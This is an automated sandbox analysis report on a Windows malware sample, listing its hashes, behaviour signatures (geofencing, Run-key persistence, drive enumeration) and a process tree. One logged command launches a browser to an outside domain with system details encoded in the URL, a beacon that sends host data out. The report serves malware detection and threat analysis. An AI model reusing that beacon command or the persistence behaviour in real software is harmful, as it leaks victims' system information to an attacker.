Analysis

  • max time kernel
    153s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-11-2022 16:15

General

  • Target

    4e71eb758bf069790f59a80dc757e0f2b0fbfe455c07646482855d438b702025.exe

  • Size

    143KB

  • MD5

    b92c29d45b351c73e24aae68186e2483

  • SHA1

    bf7606f811b1c200313767682e66e368ae734d34

  • SHA256

    4e71eb758bf069790f59a80dc757e0f2b0fbfe455c07646482855d438b702025

  • SHA512

    d444e80d96c091e3fe97ac82ede5db0f9ac9ab8ce39ee976fbdb765a10fb19d6556ea39250a5137527aa70755bf6e46cdaf89a5791a6b14408c5670f9586c013

  • SSDEEP

    3072:iN6ZekwVJIlgps5q9Eb648qwlS/+TfQO45DwP:pe9IB83ID5Q

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4e71eb758bf069790f59a80dc757e0f2b0fbfe455c07646482855d438b702025.exe
    "C:\Users\Admin\AppData\Local\Temp\4e71eb758bf069790f59a80dc757e0f2b0fbfe455c07646482855d438b702025.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4932
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "start http://securedfileinfo.com/404.jsp?chid=4300109^&rsn=plde^&details=^|v6.2.9200x64sp0.0ws^|tt31^|dt0^|dc100^|fs-2^|dh0^|ec13^|se12007^|dr4^|ds0^|rs0^|p1"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2608
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://securedfileinfo.com/404.jsp?chid=4300109&rsn=plde&details=|v6.2.9200x64sp0.0ws|tt31|dt0|dc100|fs-2|dh0|ec13|se12007|dr4|ds0|rs0|p1
        3⤵
        • Adds Run key to start application
        • Enumerates system info in registry
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:4980
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff786246f8,0x7fff78624708,0x7fff78624718
          4⤵
            PID:4752
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,13263242566798353897,15306878495522835871,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2160 /prefetch:2
            4⤵
              PID:4660
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2132,13263242566798353897,15306878495522835871,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2448 /prefetch:3
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:1768
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2132,13263242566798353897,15306878495522835871,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2536 /prefetch:8
              4⤵
                PID:4488
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,13263242566798353897,15306878495522835871,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3752 /prefetch:1
                4⤵
                  PID:4832
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,13263242566798353897,15306878495522835871,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3764 /prefetch:1
                  4⤵
                    PID:4024
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2132,13263242566798353897,15306878495522835871,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5176 /prefetch:8
                    4⤵
                      PID:4632
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,13263242566798353897,15306878495522835871,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5348 /prefetch:1
                      4⤵
                        PID:2304
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2132,13263242566798353897,15306878495522835871,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5916 /prefetch:8
                        4⤵
                          PID:1660
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,13263242566798353897,15306878495522835871,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5956 /prefetch:1
                          4⤵
                            PID:4868
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,13263242566798353897,15306878495522835871,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6028 /prefetch:1
                            4⤵
                              PID:3928
                            • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2132,13263242566798353897,15306878495522835871,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6664 /prefetch:8
                              4⤵
                                PID:3452
                              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
                                4⤵
                                • Drops file in Program Files directory
                                PID:4716
                                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ff7163d5460,0x7ff7163d5470,0x7ff7163d5480
                                  5⤵
                                    PID:1608
                                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2132,13263242566798353897,15306878495522835871,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6664 /prefetch:8
                                  4⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:1692
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2132,13263242566798353897,15306878495522835871,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4540 /prefetch:8
                                  4⤵
                                    PID:1544
                            • C:\Windows\System32\CompPkgSrv.exe
                              C:\Windows\System32\CompPkgSrv.exe -Embedding
                              1⤵
                                PID:4424

                              Network

                              MITRE ATT&CK Enterprise v6

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

                                Filesize

                                1KB

                                MD5

                                7ef66f502cb164d6d88fd779895d5e07

                                SHA1

                                75c68e887afe0041c18bc01dc36ae719db07a436

                                SHA256

                                084f8949af79ac48c5c245e4bbeea807949d1e8e182e7d0487227231fcd97a77

                                SHA512

                                419b6e5def7e1051af856ea4256235fa4f1bdbf001b54f1db9e59c44f7da8f9cfa8d63f77e35345ec6d5c3ab13de10094281d44f42a7e1fd9d92b3b68ac5ba9e

                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_46F574BDF8F8E3AC29733131E4667BA4

                                Filesize

                                472B

                                MD5

                                03ad9fc0b00b5df3165dc2fb1e3b0a3e

                                SHA1

                                f8243335a8bc24d989bddd346048a055e1d0bdeb

                                SHA256

                                366b28d491f7fd632e31c1ce97f939555f7dcee14bb6875737ed2d3e96fa32ec

                                SHA512

                                a3cd8a001366e6c1b96d2b920d56e6efd34e9b69b9805e1a2b0c270346712e22420366f8bd18bbb1dd16fa60d481ad65b13385a66a3f1fa0d7aadaaa27b99796

                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA

                                Filesize

                                724B

                                MD5

                                f569e1d183b84e8078dc456192127536

                                SHA1

                                30c537463eed902925300dd07a87d820a713753f

                                SHA256

                                287bc80237497eb8681dbf136a56cc3870dd5bd12d48051525a280ae62aab413

                                SHA512

                                49553b65a8e3fc0bf98c1bc02bae5b22188618d8edf8e88e4e25932105796956ae8301c63c487e0afe368ea39a4a2af07935a808f5fb53287ef9287bc73e1012

                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

                                Filesize

                                410B

                                MD5

                                04fa6b8f4ba11ccc7793cb1f591b082a

                                SHA1

                                cc0106ea42170a9fe78d086a1d1f0016cdb5106b

                                SHA256

                                884eb20a357a72bae0e9c3b1caa661137a9ecfc917bd6676c8874c87e770f609

                                SHA512

                                a85e2ae837c1412a4d4e32ed6650acd9a2f5bc8d357c26115d6001b18b767cd6849c4f3f8288e9e3e6f5a78531c68870c0ccd653a4be4decda90ab9a54ea4308

                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_46F574BDF8F8E3AC29733131E4667BA4

                                Filesize

                                402B

                                MD5

                                48bb57395e89438d3aad219cc38e8a76

                                SHA1

                                e5ac5eee289610a5c974d64d9b81e94e6036f121

                                SHA256

                                5aaaf83f683aecef14751fba619e51327727c1a3fe0b1d32bc110577115d6262

                                SHA512

                                af144dd1d52a12426047d91c0bc51cefed108ba0e479ace71ab3e053b902230f6ec1f49ef19fc82d5cfd47756a7adbaf5ae249641815637100d522774d0886b5

                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA

                                Filesize

                                392B

                                MD5

                                591e57aa08c6074ceeee3b51efc68a99

                                SHA1

                                60779a1e4e40f727b0e6df0bb34f43688918d24f

                                SHA256

                                56c482a80e81cea1189fccb8f78e2171e2fcfe41ede0cbfe842f26eb44ad3901

                                SHA512

                                cb4bd23344da577b8fe2f050527f39744978e4e96a30c02cbe52f7e1ecc10238793f92937cf013cd38d376254c1cd5a97320c2b31f40489b71b527894cd459e6

                              • \??\pipe\LOCAL\crashpad_4980_POOZQKBYREZAXEHH

                                MD5

                                d41d8cd98f00b204e9800998ecf8427e

                                SHA1

                                da39a3ee5e6b4b0d3255bfef95601890afd80709

                                SHA256

                                e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                SHA512

                                cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                              • memory/1544-165-0x0000000000000000-mapping.dmp

                              • memory/1608-162-0x0000000000000000-mapping.dmp

                              • memory/1660-156-0x0000000000000000-mapping.dmp

                              • memory/1692-163-0x0000000000000000-mapping.dmp

                              • memory/1768-137-0x0000000000000000-mapping.dmp

                              • memory/2304-152-0x0000000000000000-mapping.dmp

                              • memory/2608-132-0x0000000000000000-mapping.dmp

                              • memory/3928-160-0x0000000000000000-mapping.dmp

                              • memory/4024-144-0x0000000000000000-mapping.dmp

                              • memory/4488-140-0x0000000000000000-mapping.dmp

                              • memory/4632-150-0x0000000000000000-mapping.dmp

                              • memory/4660-136-0x0000000000000000-mapping.dmp

                              • memory/4716-161-0x0000000000000000-mapping.dmp

                              • memory/4752-134-0x0000000000000000-mapping.dmp

                              • memory/4832-142-0x0000000000000000-mapping.dmp

                              • memory/4868-158-0x0000000000000000-mapping.dmp

                              • memory/4980-133-0x0000000000000000-mapping.dmp